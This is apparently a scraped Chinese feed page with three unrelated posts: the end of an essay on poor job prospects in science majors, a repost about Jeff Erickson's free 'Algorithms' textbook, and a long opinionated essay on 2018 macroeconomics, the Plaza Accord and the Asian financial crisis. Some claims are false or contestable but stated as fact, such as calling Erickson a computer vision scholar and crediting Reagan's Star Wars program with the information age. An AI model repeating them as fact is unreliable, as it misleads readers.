发展1,生化材需求旺盛,就业肯定不差,可以参考日本和台湾。

发展2,没有产业支撑,必然导致需求萎靡,就业不佳。

国家想让3走1的道路,所以批了很多指标;结果3走上了2的道路,只会让就业环境持续恶化。

要破局,必须从2路线改到1的路线上。可现在,还没看到明显的风向转变。

Q:劝退只站在个人的利益得失去看问题,格局太过低下。要站在国家的高度,看到生化材环的重要性,发扬吃苦耐劳的奉献精神,报效祖国,不要在意个人得失。

A:我从来都没有否认过生化材环的重要性。但对于这样的坑外情怀党,随便问几个问题就能看清他们的本质。

问:XX行业重不重要?

情怀帝:重要!

问:你去从事吼不吼啊?

情怀帝:当然不猴啊!

问:那让去做的人工资翻番,把你的工资减半补贴去做的人吼不吼啊?

情怀帝:放屁!老子干的也很辛苦,凭什么?

问:那你去做XX行业吼不吼啊?

情怀帝:不吼!

问:那XX行业不是很重要吗?你怎么不去啊?

情怀帝:我又不是学这个的,谁学这个谁去!

问:人家学这个的不想去,想干你的行业,你们交换吼不吼?

情怀帝:浪费国家资源,国家花钱培养你们都是让你们跑路转行的吗?赶紧滚回属于你们的岗位去!

Q :大家都不学生化材环了,实体经济怎么办?

A:我有两个回答方式。一个比较冷静客观,一个比较情绪主观。

冷静客观的回答:大家没有意识到,中国现在大学生的供给量有多大。单材料类大专业,一年的大学毕业生有五十万。劝退走一些不感兴趣的,不是真心热爱的学生,根本不会对生化材环行业产生什么影响。相反,可以帮助学生就业,降低留在生化材环行业内学生的竞争,提高学生在生化材环企业前面对待遇的议价能力。有利于提高生化材环行业的整体待遇。

情绪主观的回答:那些掌握了大量财富的少数人,他们的儿子女儿学生化材环了吗?王健林的儿子学生化材环了吗?许家印的儿子?马云的儿子呢?他们的孩子最适合学这些专业,可他们孩子可曾来学生化材环兴一兴我们的邦?

相反,你会发在生化材环等专业内,农家孩子,穷人家的孩子特别多。而有钱人家都会给孩子选择金融经济计算机人工智能等专业。不由得想起贱贱的一篇文章,对专业和阶层固化这个问题剖析的更加深刻:

贱贱:也谈高考、专业、城市与阶层固化的关系​zhuanlan.zhihu.com图标十年一觉材料梦,赢得劝退薄倖名。我也要move on了。

全文完

附录:安全事故视频

扬子医药闪爆视频

编辑于昨天 06:04

Jeff Erickson《算法》

$
0
0
作者:量子位
链接:https://www.zhihu.com/question/19981544/answer/596772712
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

推荐一份资源:

一位从1998年就开始讲课的老教授Jeff Erickson,把他20年来在UIUC讲课的内容整理成了一本算法书,名字简单粗暴,就叫《算法》(Algorithms)。

这本书在网上公布后,很快就成了国外计算机系学生讨论的热门话题,在Hacker News已经收获超过1000赞。
原因当然是他在学生当中的名气。Jeff是计算机视觉领域知名学者,有扎实专业知识。难能可贵的是,他教学风格轻松愉快,广受学生欢迎,甚至一位20年前的学生也亲自发帖为他打call。

书本内容

《算法》总共有448页,,除去前言和简介部分,总共包含了12个章节的内容,主要谈到了以下一些算法:

递归、回溯、动态编程、贪心算法、基本图算法、深度优先搜索、最小生成树、最短路径、全局最短路径、最大流最小割、流量与切割的应用、NP困难等。

Jeff把这本书称作出版印刷前的“第0版”,你可以去他的GitHub页下载到《算法》这本书的PDF版,帮忙找排版和内容上的bug。

喜欢看纸质书的小伙伴也不用着急,《算法》的纸质版即将发行。至于电子版也会一直免费提供下去。

既然是讲义的整理,除了基本教学内容外,当然还有习题和考卷,每年都会根据教学内容实时更新。如果你想要随附习题的答案,Jeff本人是拒绝的,还是自己动手吧。这本书没有习题答案!

作者Jeff Erickson和他的孩子

Jeff教师认为,教材有时候在大学教学和自学者之间有不可调和的矛盾。Jeff显然更看重课堂上的学生,如果提供标准答案,只会让学生死记硬背,忽略了答案背后的逻辑。

而且,Jeff说那些想要答案的学位往往是爱作弊的学生。学渣们你们颤抖了吗?

关于作者

如果仅凭以上内容,就认为Jeff是一个不讲情面的大学教授就完全错了。

在考试方面,Jeff对待学生可以说是相当“宽松”。学生在考试题下面写“我不知道”,就能得到25%的分数。

这么做是为了鼓励学生承认自己的缺点,助教也不必为审阅垃圾答案浪费时间。

有趣的是,这位Jeff教授不是一个唯成绩论的人。

因为他自己当初就是一个不折不扣的学渣,GPA得分只有2.4(满分4.0)。他却靠自身努力成为知名教授。

对那些成绩很差却想继续深造的学生,Jeff传授了一点他自己过往的人生经验:

让导师看到你的努力和在专业方面的技能,比如你曾经在计算机领域的就业经历。让导师相信,你出色的能力让他愿意承担风险。(Jeff自己在攻读硕士前就曾是软件工程师。)

最后,Jeff有个幸福的家庭,上面的画像就是他12岁女儿所画。

资源汇总

电子书地址:
jeffe.cs.illinois.edu/t

Github地址:
github.com/jeffgerickso

作者论文汇总:
jeffe.cs.illinois.edu/p

-完-

蛮族勇士2018上半年宏观经济万字综述:人心之战(全文)

$
0
0

蛮族勇士2018上半年宏观经济万字综述:人心之战(全文)

人心之战

——2018上半年宏观经济综述

有一句话我经常说,现在我也不妨再说一次:经济的本质,就是人心。人心所向,浩浩荡荡。违背人心,就是逆天行事,就是违背经济规律,最终也必然要受到规律的惩罚。

——题记

序章——薅不着的羊毛

2018年已经过半。这半年来,中国,以及全球发生无数大事,每一刻都堪称在见证历史。其实最吸引眼球的,莫过于中美之间爆发了全方位的外贸冲突,双方互加关税,斗得不可开交。而与此同时,美国与欧洲和日本却开始商讨双方之间零关税零壁垒的贸易新模式,似乎中国一下子就被发达国家给孤立了。这种局面真是前所未见。根据经济学家们的说法,这意味着美国要薅中国的羊毛了。关于美国这个薅羊毛的事,我们必须要认真的回顾历史,我们一定要看明白:美国所谓的薅羊毛,到底是怎么一回事?对一个在政治经济上处于完全独立状态的国家来说,它的经济利益和资产价值,是美国想拿就能拿走的吗?难道玉石俱焚都做不到吗?美国的具体操作手法,到底是怎么样的?唯有真正理解了这一点,我们才能给这场贸易之战,定下应对的基调。

一直到二战结束,人类世界没有所谓薅羊毛的说法。一个国家要从另一个国家获得经济利益,只有两种做法:殖民掠夺或者更加赤裸裸的战争掠夺。这两种掠夺方式,都需要直接占有它国的自然资源,压低其资源价格,以便胜利者可以用低廉的价格享受到丰富的资源。同时,胜利者会将自己的商品在被占领国高价倾销,再一次掠夺被占领国的财富。

二战之后全球各殖民地国家纷纷独立,民族意识觉醒,想要再廉价获得它们的资源,首先就要面对这些国家刚刚觉醒的老百姓的冲天怒火;至于高价倾销商品,更是不用指望。既然已经是各自独立的国家,各自都有货币的发行权,那么相对美国之间,总归有一个汇率存在。二战刚结束时美元是与黄金挂钩的,币值相对恒定。而各国货币相对美元的汇率也是相对恒定的,这种汇率的形成有很多机制,有些是小国政府自行规定的,有些是在市场交换过程自由形成的,强势的美国大概总是会尝试寻求对自己最有利的汇率。但是要说全球各刚刚赢得独立的第三世界国家统统都被美国用飞机军舰逼着制定了一个不合理的汇率,让美国占了大便宜,这就是扯淡了。

这是因为汇率是一把双刃剑,一进和一出,都有个兑换过程。各国本币相对美元的汇率贬值,美国可以在进口资源上占便宜,但是在出口商品时就要吃亏。但凡有汇率这个因素存在,美国就不可能同时在进口和出口这两方面同时占便宜。考虑到二战后全球市场逐渐形成,美国干预某一国的汇率更加没有必要。比如美国强行逼着阿根廷比索贬值,有意义吗?这种风骚的操作之后,美国从阿根廷进口木材可能确实划算了,但是美国产的高端电脑,阿根廷人也买不起了,他们会转身来买中国产的便宜电脑。这么一来二去,整盘贸易帐说不定还是亏的,甚至可能亏得很惨。所以二战之后反殖民运动一兴起,直接掠夺模式就不存在了。即便是美国这样的第一强国,想要挣钱,也不可能通过简单的汇率强制手段实现,也还是得老老实实的发展工商,提升商品的竞争力。

历史继续往下走,1971年美元与黄金脱钩,美元的币值开始进入浮动时代,不再具有一个相对恒定的币值。各国货币相对美元的汇率因此同样进入浮动时代,时不时就大涨大跌一把。当然了,由于没有其它任何一个国家的国家信用比美国强,因此也没有美元更好的世界货币。所以美元即便不再挂钩黄金,也不再保持相对恒定的币值,但是依然是最强的世界货币,具有最强的货币信用,也是各国作为外汇储备的首选货币。

币值浮动时代,声称美国政府能通过控制相对之间的汇率涨跌获益,那更加不靠谱。没有任何一种数学模型能够计算出在各自汇率相对自由浮动的情况下,到底哪种操作策略能够获利。有时候美元很强悍,相对于其它所有国家都升值,也就是美元指数持续提升,这意味着美国能够在进口时占到便宜,但相对应的就是牺牲出口,各出口企业都要因此哭爹叫娘。如此利弊综合的结果非常复杂,一定不可能让美国人获得普遍性的获益,甚至一个相对多数的获利方都找不出来。经济学界口口声声声美国人能够通过控制美元币值薅全球的羊毛,这纯属无知臆想。

这么说吧,无论美国政府怎么想,怎么用飞机战舰逼迫其它国家调整对美汇率,汇率总归是一把双刃剑。就拿我们长期拿来说事的广场协议来说,日元相对美元大幅升值,日本对美出口固然因此受到负面影响,而美国对日出口则会相对受益,但是反过来,日本从美国乃至从全世界进口就要受益,反正日本是粮食和石油钢材等大宗商品的纯进口国,这种升值事实上对当时的日本来说,还真谈不上有多少坏处。再综合日本当时强烈的对外投资欲望来看,日元升值也可以让它在对外投资中占便宜。这么一综合,二比一,日本恨不得在广场协议中属于纯粹的获利方,所以它对广场协议持绝对欢迎的态度,而美国从中占了多少便宜,还真谈不上。1985年在里根政府的坚持之下,美日德法英五国之间达成广场协议,美元指数确实应声而下,日本德国法国英国的货币汇率相对美元一致大幅升值,但是在当时来说,没有人将这份协议当成是薅羊毛。然而,一个在当时没人想到的因素最终发作,带来了非常奇妙的结果:日本的经济泡沫在一夜之间破灭,而美元指数在1992年达到谷底之后,就逆势反弹,这意味着美国经济的真正复苏。至于德法英这三个欧洲国家,却几乎没怎么受到广场协议的影响。

上篇——里根之后,天下无神

1981年里根正式就任美国总统。当时美国的经济情况非常惨淡,1980年通胀率达到13.6%,而失业率高达8.5%,显著超出7%的国际失业率警戒线,这已经是典型的经济滞涨情况了。为了遏制通胀,美联储按照传统的治理思路,不停的提升联邦基金利率,1980年底的利率高达18.9%。就这种情况,经济停滞与通货膨胀同时爆发,美国经济已经濒临瘫痪了。想想本来就失业率高企,老百姓的生活水深火热,物价飙涨,连饭都要吃不起了,而同时你的基准利率居然接近20%,干啥产业能挣到这么高利润?这不是瞎扯吗?

作为美国历史上在经济管理领域成就最突出的总统,里根上任之后独辟蹊径,坚决实施货币宽松政策,坚定不移的引导美联储降息,1981年底联邦基金利率就降到了12.4%,1982年底降到8.5%,此后就维持在这个水平线附近,到1985年底,也就是广场协议签订之后为8.3%。利率下降之后社会资金泛滥,如果涌入消费领域,必然引发更加惨烈的通胀。要预防这一点,就必须给资金以出路,也就是给它们一条切实可行的投资路径。

里根的办法是没有产业就创造产业,于是“星球大战计划”(这个计划的英文名真的叫Star Wars Program)横空出世。里根鼓励美国与苏联开展军备竞争,乃至向太空竞争。这个计划的雏形开始于1983年,1984年全面实施,整个计划的支出预算高达1万亿美元。计划的内容非常扯淡:构建从外太空到覆盖全球每一寸土地的攻击和防御体系,武器系统非常全面,包括导弹、激光和电磁波等等。美国政府因此每年要花掉上千亿美元的预算,向各种各样的企业发布千奇百怪的产品订单,乃至直接资助企业的科学研究。至于军方在星球大战计划中所取得的技术成果,只要可以民用,都一律低价乃至免费供各路公司随意调用。在当年来说,千亿级的预算当然是一笔惊人庞大的开支。美国政府手里也没钱,于是就发行国债,卖给美联储和全世界。自此一条新的货币发行路径被发明了出来:以债为锚,发行货币。要知道1970年代之前所有的货币发行都是要跟黄金挂钩的,1971年美元与黄金脱钩之后,全球经济学界都处于懵逼状态,不知道到底应该怎么发行货币。现在里根抛开此前所有的经济学定义,以债为锚发行美元,这就算是打开了新世界的大门。在数据上,1981年里根刚上任时,美国国债积累起来的余额规模仅为9979亿美元,1983年星球大战计划实施前夕为1.38万亿美元,到1989年里根离任时增加到了2.86万亿美元。美国政府可以通过发债融资,对税收的依赖下降,于是里根开启连续的减税计划,到1986年,也就是广场协议签订后的第二年,美国个人所得税从此前最高的70%下降到28%,企业所得税则从46%下降到了33%。

当然了,星球大战计划的意义绝不仅仅是带来了全新的以债为锚的货币发行方式,以及减税,虽然这已经是划时代的意义了,更关键的是:它带来了一次新的技术革命:信息时代就此到来

各位必须知道的是,1980年代之前,日本的产业经济发展势头根本就不可遏制,在各项传统制造业领域,日本依靠“通产省”的统一领导,取得了美国企业无法对抗的竞争优势。日本通产省类似于我国的发改委,二战之后,它统筹资金,统一从欧美各国购买各种先进的专利技术,分配给国内最合适的财阀集团,并规划和引导各种产业的发展方向。这在本质上其实是一种资源高度集中的计划经济模式,在一个国家的经济发展初期,总是能取得更加强大的产业竞争力。到1970年代之后,日本在家电和汽车领域已经后来居上,将美国企业打得落花流水。不仅如此,即便是在芯片领域,日本也取得了惊人的成就,1980年代初期,存储器的市场被日本全面占领,以英特尔为代表的美方被迫退出。每失去一个行业,就意味着成千上万的美国工人失业。而失业,就是美国经济陷入滞涨状态的根本原因。

然而里根上任之后,竟然就神奇的遏制了日本的产业扩张步伐。在星球大战计划的资助之下,英特尔公司财大气粗,不再计较一时一地的商业得失,而是着手开始另一个方向的芯片研究:CPU,也就是中央处理器。到1985年,可以随便调用军方专利技术库的英特尔公司,终于推出了划时代的80386芯片,再之后,美国就始终站在了CPU产业的最顶端,再也没有给日本或其它国家以超越的机会。386在提升电脑的运算速度的同时大大的降低了生产成本,价格一直居高不下因此只能在大型企业才能小范围使用的电脑开始降价,体积开始缩小,维护难度下降,并因此逐渐普及到千家万户。而作为中国人来说,最早接触个人电脑的,无疑都是从386开始,从这个意义上看,今天我国40-50岁这一代人,真是很有必要向发起星球大战计划的里根总统说一声“谢谢”。

再到1989年,英特尔的486处理器问世,个人电脑价格再降一级,功能还足够强大,足以让有志之士在家里研究软硬件技术并进行性能测试。并且,在星球大战计划的支持之下,随便找个借口,比如该信息技术有利于导弹弹道分析,就能拿到高额的政府资助,而且政府还不会限制该技术的商业用途,于是信息技术开始了大爆炸,信息时代就此来临。英特尔公司在486处理器之后,就成为了引领了信息时代的帝王,技术进步就没有停止过。1989年里根总统任职期满后,他的副总统老布什竞选成功。老布什在任职期间延续了里根总统的政策,依然执行星球大战计划。一直到1993年,老布什竞选连任失败,克林顿走马上任,停止星球大战计划。然而在此期间,美国的信息技术已经发展到了无可匹敌的高度,其它国家根本就是望尘莫及。

1993年英特尔在486的基础上研发出第一代奔腾处理器。一开始的奔腾处理器还缺乏足够强大的操作系统与之相匹配,原始的DOS系统在奔腾处理器的强大数据运算能力之下就如同老掉牙的算盘一般幼稚可笑,因此奔腾处理器的销售在早期竟然遇到了困境。一直到1995年,比尔盖茨的微软公司推出了win95系统。强大的奔腾处理器匹配上windows系统,就如同王与后相遇,诞生了无数的子系统,无数的信息技术企业在这套系统之下创业成功,并向美国提供了数以千万计的就业机会。英特尔的王者地位一直延续到2010年代,此后苹果公司异军突起,凭借智能手机抢走了个人电脑的风头,成为了信息时代的第二任帝王。然而这种王位传递,依然是发生在美国内部,美国之外的企业只能看着美国兴旺发达的信息产业流口水。

到这里,我们必须说回广场协议了。1985年,在里根总统的坚持之下,美与日德英法四国签订了广场协议,约定这四国的汇率相对美元升值。就在协议签订的当年,美元兑日元汇率就从1比240贬值到1比120。这份协议在当时并没有发生什么了不得的作用。1985年,广场协议签订的当年,美国的失业率为7%,刚好踩在警戒线上,到1989年里根总统离职的当年,美国失业率下降到5.4%,这是由于星球大战计划带来的新增就业。而在日本这边,日本人民集体高高兴兴的,根本就没把广场协议当回事。1985年日本的失业率只有2.6%,到1989年甚至下降到了2.1%。这还真是一件无可奈何的事。要说广场协议薅了日本人的羊毛,至少在这五年里,根本没有任何数据予以支撑。

1990年之后,伴随着个人电脑的普及,信息时代的到来,日本原本相对美国强大无匹的产业经济逐渐表现出颓势。信息产业发展成所有行业的上游,再不可一世的日本汽车商也得使用英特尔+WIN的电脑系统,并且这个产业还无法山寨,美国人吸取此前被轻易就被日本政府买走专利的教训,给信息技术转让设置了非常严格的法律壁垒,“专利壁垒”这个词事实上就是信息技术壁垒。

信息产业的发展相当于在上游截断了日本人的现金流,暴利的日本制造业突然之间就陷入被美国人分走一杯羹的窘迫境地。体现在GDP增幅数据上,整个1980年代日本的GDP增幅都维持在4-5%之间,增幅非常稳定,1990年依然维持4.89%。然而此后面临着美国信息产业的入侵,日本的GDP增幅迅速下降,到1993年下降到-0.53%,此后就长年挣扎到正负1%的区间内。而与此同时,日本的另一项硬伤也发作了出来:地产泡沫破灭了。

话说日本的地产泡沫的始末,跟我大中国现在的情况简直是一模一样。广场协议签订后,日本政府一边手动拉升日元汇率。另一边,则莫名其妙的开始降息,从1986年1月到1987年2月,连续五次降低利率,把基准利率从5%降低到2.5%。然而这个时候骄傲的日本金融界已经找不到新的实业投资方向了。对美国政府当时通过“星球大战计划”极力扶持的信息产业,日本人也没啥投资兴趣,根本就没有意识到英特尔手里的CPU技术才代表了全社会产业经济的未来方向。新增资金没有了去向,于是就投资房地产。1987年后,日本各大企业纷纷在东京都市圈内开建总部大厦,一栋比一栋建得高,而普通国民受此影响,纷纷开始买房。日本的房价因此开始迅速攀高,东京的房价每年要翻一番,其它中小城市每两年翻一番。急剧上涨的房价加剧了投机风气的形成,于是更多的资金涌入地产领域。到1990年的时候,东京的房价达到12万人民币/平米,相当于当时东京白领家庭平均收入的40倍。

好吧,到了这个时候,房地产已经割完了日本的全部韭菜,接下来就只能是调头往下。如果只是这样,日本如果还能维持产业领域的优势地位的话,那无非也就是房价停止上涨而已,老百姓还有工作,还有升职加薪的机会,贷款总是还得起的,不至于由于失业潮的涌来,诱发房产的抛售潮,并因此击碎地产泡沫。

然而,正如我们前面详细阐述过的,美国一手引领的信息技术革命时代的到来了,日本的产业竞争优势完全消失,所有的日本企业都变成了美国的下游企业,被迫要让渡利润,这当然要带来失业率的提升。1990年之后日本的失业率逐年上升,1995年上升到3.2%,2000年上升到4.7%,2003年达到峰值的5.3%。日本房价于是从1991年开始调头下跌,仅仅到1994年,东京的房价较高峰时期已经直接腰斩,跌到6万人民币/平米左右,而中小型城市的房价普遍下跌3成。此后整个日本的房价就丧失了增长性,一直到今时今日,东京中心区的房价依然维持在6万人民币左右。如果考虑1994年至今的货币通胀率,这事实上相当于又腰斩了一次,或许还不止一次。在这里顺带说一下,英国那边同样受美国新兴的信息产业的冲击,失业率在1990年之后同样表现出上升趋势,1990年为7.1%,到1993年上升到10.4%的峰值。不过英国没有房价泡沫,1993年之后英国就基本消化完毕了信息产业的冲击,此后英国的失业率又开始逐年下降,1997年就下降到6.9%,2000年下降到5.4%。

这么总结起来看,所谓广场协议薅了日本的羊毛,只不过是日本自己作罢了。协议的另外三个签约国英德法固然没有抢到信息产业的蛋糕,但是也没有吹出房地产的泡沫,所以广场协议签订之后,英德法经济也还能大致维持平稳。如果一定要说存在薅羊毛现象的话,那只能这么说:美国新兴的信息产业,薅了日本房地产泡沫的羊毛

以星球大战计划促进信息产业发展的美国,最终击败了吹起地产泡沫的日本。从这个角度上来看,唯有真正的产业经济的兴盛,才能在国与国之间的竞争中,获得真正的竞争优势,并真正击溃对手,这才是1980-90年代美日经济消长,留给我们的真正教训。至于所谓的广场协议,所谓的汇率升跌,在国与国的宏观博弈层面,根本就没有意义。里根能够封神的理由,并不是因为所谓的广场协议,而是因为他一手创造了以债为锚的货币发行方式,更重要的是,他开创了全新的信息时代

里根之后,天下无神。人类世界再也没人能够在货币领域和产业领域创造出如此神迹,在面对经济危机的威胁时,除了惊慌失措的开动印钞机之外,再也想不出其它办法。自里根之后,人类世界出现了一个奇怪的规律:逢八必乱。98年亚洲金融风暴,08年全球金融海啸,而现在的2018年,又会发生什么呢?在所谓逢八必乱的背后,到底隐藏着什么样的经济规律?

中篇:逢八必乱

里根之后,老布什总统继续里根的政策,推进信息产业发展,全球到90年代初期进入了全新的信息时代,个人电脑得到了普及,并应用到工作和生活中,办公室人手一台电脑成为了欧美日等发达国家的工作标配,当然,我大中国在这方面要稍微迟一点,要到2005年前后才能普遍实现电脑化办公。在这里顺带说一下,老蛮我在本世纪初刚入行的时候,遇到计算一块地形复杂的土地面积的事,使用的方法还是在图纸上画无数个三角形,然后累加三角形面积。一直到2010年,我大中国依然有一大批建筑设计师,习惯亲手在灯光台上用直尺画图。整体来说,我大中国的信息建设,在起步时期就比美国晚了足足十五年。

言归正传,在个人电脑得到普及之后,企业的运营效率总归要得到提升的。所以欧洲方面很快就消化了美国新兴的信息产业的冲击,开始进入经济上升通道。至于日本方面,则由于搞出了地产泡沫,在地产泡沫被信息产业捅破之后陷入长期的萧条,这算是自作孽,也不值得同情。

1993年克林顿就任美国总统,上任之后干的第一件大事就是启动信息高速公路”计划,这被视为信息产业的一个全新的分支:互联网产业正式启动的标志。该计划总投资约4000亿美元,计划将信息光缆铺设到每个美国家庭。美国自此在互联网硬件建设领域取得了长期的优势地位。在今天看来互联网建设是理所当然的事,通光缆已经是今时今日普通住宅的标配,然而在当时来说,“信息高速公路计划”具有跨时代的伟大意义。想想吧,在政府的主持之下完成大大小小的信息基站和网络铺设,实现人人互联,每个人都是信息发布的主体,这反过来又能颠覆政府或强势媒体的信息垄断地位。在商家而言,就能通过互联网直接面对千万客户,直接收集客户数据,了解客户喜好并实现直接销售。这前景真是想一想都美好,欧美金融界对接下来的“互联网时代”充满了期待。既然信息网络的硬件投入由美国政府负责,那金融界就来投网站吧。在当时来说,真是随便注册个网站,卖卖概念,比如交友,比如搜索,比如二手货交易平台之类,都能拉到无尽的投资,网站估值动辄以百亿计。这期间的典型案例就是雅虎网站(YAHOO),从搜索到电子邮件到新闻,算是将互联网网站的所有概念都包了进来,实在是资金拿来炒作的最好素材。雅虎于1996年上市,上市当年的市值仅5亿美元,到2000年初的时候剧烈膨胀到2154亿美元的峰值。想想看,当时的欧美资金炒作互联网概念,到了多么疯狂的程度。这里顺带说一下,2017年雅虎以不到50亿美元将自己给卖了,算是互联网泡沫史的最后印记。

就在欧美金融界从全球抽调资金去炒互联网概念,弄出来一个“互联网泡沫”的同时,却引发了一个令人意想不到的后果:1997年,“亚洲金融风暴”发作。

从1980年代中期开始,美国在里根的治理下解决了国内的经济滞涨问题之后,转而开始扩张其在亚洲的影响力,逐步加大对亚洲各国的投资,由此带动起欧洲各国向亚洲各国投资并转移基础制造业。在这个过程中,亚洲各国和地区逐渐发生分化:新加坡台湾韩国逐渐建立起完备的炼钢造船等重工业体系,并由此开始发展其自己的优势产业。新加坡走上了炼油和精细化工之路,台湾和韩国同时选择了电子作为发展方向。而香港则在此过程中一步步放弃了制造业,将其原本强大的纺织化工电子等产业迁移到大陆,自己专心的发展金融和地产。东南亚的泰国马来西亚菲律宾印尼则压根没有发展起完备的制造业体系,它们干了点来料加工和装配之类的简单工业就志得意满,转身就引导欧美资金进入到房地产领域,在首都等地大建高楼,吹起了一波房价泡沫。

话说人类世界的天性就是不把历史教训当教训,一再跳进同一个坑里。明明日本的房地产泡沫在1990年就已经爆了,但是东南亚四国和香港依然义无反顾的跳进同一个坑里。1985年到1990年期间,这些地区的房价还算是温和上涨,年均涨幅约15%左右,然而在日本的地产泡沫破灭之后,东南亚四国和香港居然就敢膨胀起来了,1990年之后,房价泡沫迅速放大,房价每年都翻一番。1990年代初期的时候香港中心区房价每平米约折1万块人民币,泰国曼谷中心区公寓房价约5000元。到1996年金融风暴前夕,香港房价涨到约8万,曼谷公寓房价涨到约3万。在当时,香港近5成的银行贷款投给了房地产,而泰国甚至达成了7成。房地产成为了这些地区经济的绝对支撑,一旦资金从地产领域撤出,就必然导致泡沫破灭,并带来残酷的连锁反应。

前面已经讲了,1995年之后美国开始掀起了互联网投资热潮,以雅虎为代表的各种网站吸引了欧美资金的疯狂追捧,各路财团纷纷从世界各地抽调资金去炒互联网股票。在这样的背景下,欧美资金开始纷纷出售自己位于东南亚地区的房产,结利退出。泰国首当其冲,成为了第一个受害者。这是由于泰国的公寓市场体系在管理上本来就非常特殊,由于禁止外国客户购买独立式房屋,因此它的公寓事实上就是面对外国投资者的,有很多都是由欧美财团直接整栋购买的。现在外国投资者纷纷卖楼退出,本地居民根本承受不起如此高昂的房价,这就意味着找不到新韭菜了,于是房价暴跌。曼谷的房价在1997年当年就遭遇腰斩,到2000年整体跌去了8成。房价的剧烈下跌引发外国投资者的夺路而逃,泰国的外汇储备剧烈下降。同时由于大量的购房者拒绝再缴付按揭款,银行的坏账率暴增,对于近7成的贷款都是地产贷款的泰国银行业来说,这就是噩梦。到1997年7月2日,也就是香港回归大陆的第二天,无从履行外汇兑换义务的泰国政府被迫放弃从1984年的开始实施的盯住美元的联系汇率制度,实施浮动汇率制,当天泰铢就爆贬30%,此后的一年内又贬值了30%。

1997年7月2日由此成为亚洲金融风暴的起始日,欧美投资者启动了避险模式,纷纷加速撤出自己在东南亚国家的地产投资,转而投入到一眼看上去就前途无限的互联网领域。东南亚各国房价因此一路下跌,危机由此从泰国逐步蔓延到菲律宾、马来西亚和印尼,这些国家的危机模式与泰国一模一样:外资撤出引发房价下跌,并导致银行坏账高企,金融系统瘫痪,反过来这又会刺激外资加速出逃,并进而导致汇率爆贬

到1997年10月份,危机终于蔓延到了香港。这个时候的香港跟东南亚四国简直是一模一样:整个地区陷入了产业空心化的境地,除了纯粹的地产泡沫之外毫无实业可言。看着周边各国的地产泡沫一个接一个的破灭,香港市民惊慌失措,纷纷的卖出房产换成美元避险,于是一边是房价剧烈下跌,一边是港币的联系汇率体系岌岌可危。不过香港的情况跟东南亚四国不一样。东南亚四国的地产市场有大量的欧美资金参与,而香港的地产市场是靠的是本土资金以及小部分的大陆红色资本,它们并没有出逃的需求。香港的问题在于居民的信心崩塌带来的挤兑问题,只要信心能够恢复,资产抛售潮能够停下来,香港居民不再主动兑换美元避险,香港的联系汇率制度就能守住,就不会发生系统性的金融风险。到1998年8月份,香港楼市已经腰斩,恒生指数从一年前的14000点跌到了7000点,同样也是腰斩,在汇市,香港政府为了捍卫联系汇率制度应对香港市民的挤兑而焦头烂额,一千亿美元出头的外汇储备,一年下来已经花了两百多亿,然而在香港市民前赴后继的挤兑就跟无底洞似的,市民信心如果无法恢复,多少外汇储备都会耗尽。到这个时候大陆政府终于明确表态,宣布大陆的全部外汇储备都将作为香港金融市场的坚强后盾。香港政府有了底气,于是高调出手,大量购入股票救市。大陆的明确表态乃是挽回香港市民信心的关键因素,市民不再挤兑政府,香港金融市场就没有了压力,恒生指数开始回升。索罗斯的量子基金本来正在押注港币扑街,看到这种情况,于是顺势退出。

说到这里,老蛮我必须强调的是:亚洲金融风暴的形成乃至发展,与索罗斯可以说是毫无关系。亚洲金融风暴的起因在于东南亚各国不搞实业,引导外资进入地产领域,吹起了巨大的房价泡沫。在外资撤离房价泡沫破灭时,东南亚各国又毫无办法,想要封堵外资撤离,在自由金融体制下根本就做不到,最终引发惨烈的银行坏账和汇率暴跌,金融市场一片狼藉。索罗斯只不过提前看到东南亚各国外资撤离的趋势,趁势在汇市下了几笔空单而已。量子基金在巅峰时期也就是区区60亿美元的规模,根本无从主动诱发任何国家或国际金融中心级的金融危机。索罗斯无非就是押注危机的时机押对了而已,操作手法就是在危机发作前押几把汇市的空单,趁机挣点小钱。而在当时的国际金融市场,最大的赢利点还是在美国互联网投资领域,除了索罗斯,各大国际主流金融机构压根就没看上在亚洲地区下空单的所谓盈利机会。

在这场亚洲金融风暴中,吹起了楼市泡沫的香港和东南亚四国遭受了重创,房价暴跌,银行业巨亏,汇率剧烈贬值。所谓房地产可以在货币贬值时起到保值作用的说法,根本就是一个笑话。这5个国家和地区的房价一直要跌到2005年左右,较1996年的峰值时期普遍跌去了七成以上,才算是勉强止住了跌势。而专心于实业的韩国台湾和新加坡,则几乎没有遭遇风暴的洗礼,期间这三个国家和地区的股市和汇率稍微波动了几下,政府出面干预了一把,很快就稳定了人心和市场。这样看来,实业,乃是对抗金融危机的终极王道,这算是这场危机给我们带来的最大的教益。

98年亚洲金融风暴并不是故事的终结,欧美的资金从东南亚各国的地产领域撤出,固然捅破了它们的房价泡沫,然而这些资金纷纷聚集到美国的互联网领域,却引发了另一个泡沫:著名的纳斯达克泡沫

当时美国的互联网企业主要是在“纳斯达克”上市,纳斯达克指数因此被称为科技指数。1996年美国互联网投资风潮刚刚开始兴起的时候,纳斯达克指数只有1000点出头,到2000年3月最狂热的时候,纳斯达克指数达到了阶段性高点5100点,四年时间指数涨了足足5倍。到这个时候,人们逐渐清醒过来,发现所谓的互联网也不过如此而已。网络对经济效率的提升是有极限的,人与人之间的信息交流也是有边界的,指望互联网络彻底改变经济发展格局,根本就是白日做梦。于是各路资金开始结利退出,但是人们很快发现,这个总市值已经达到6.7万亿美元的市场,根本就已经没有其它资金可以前来接盘了。于是泡沫当场破灭,到2001年3月份,短短一年时间,纳斯达克指数跌到2000点以下,总市值暴跌到2.7万亿,4万亿美元的纸面财富,就此烟消云散。一直到这个时候,98年金融风暴,才算是画上了句号。

今天我们回头来看,98年金融风暴从来没有在国际经济学界得到过认真的梳理。大家津津乐道的,无非是规模小到几乎可以忽略不计的索罗斯量子基金挣了多少不义之财,以及东南亚各国的开放金融模式未能阻止外资撤离。至于最关键的问题:弃实就虚,放弃制造业而鼓吹房价和互联网,先后弄出了房价泡沫互联网泡沫,造成东南亚各国经济大动荡之余,最终欧美各国也没落到啥好处,在互联网泡沫上咽下了苦果。要知道,里根当年发明“以债为锚”的印钱方式,骨子里是要以星球大战计划推进实业发展,并将人类带入了了全新的信息时代。现在各国政府和各路财团只记住了借债印钱的便利,但却忘记了推进实业的根本,这种根子上的毛病没解决,危机必定会再次发作

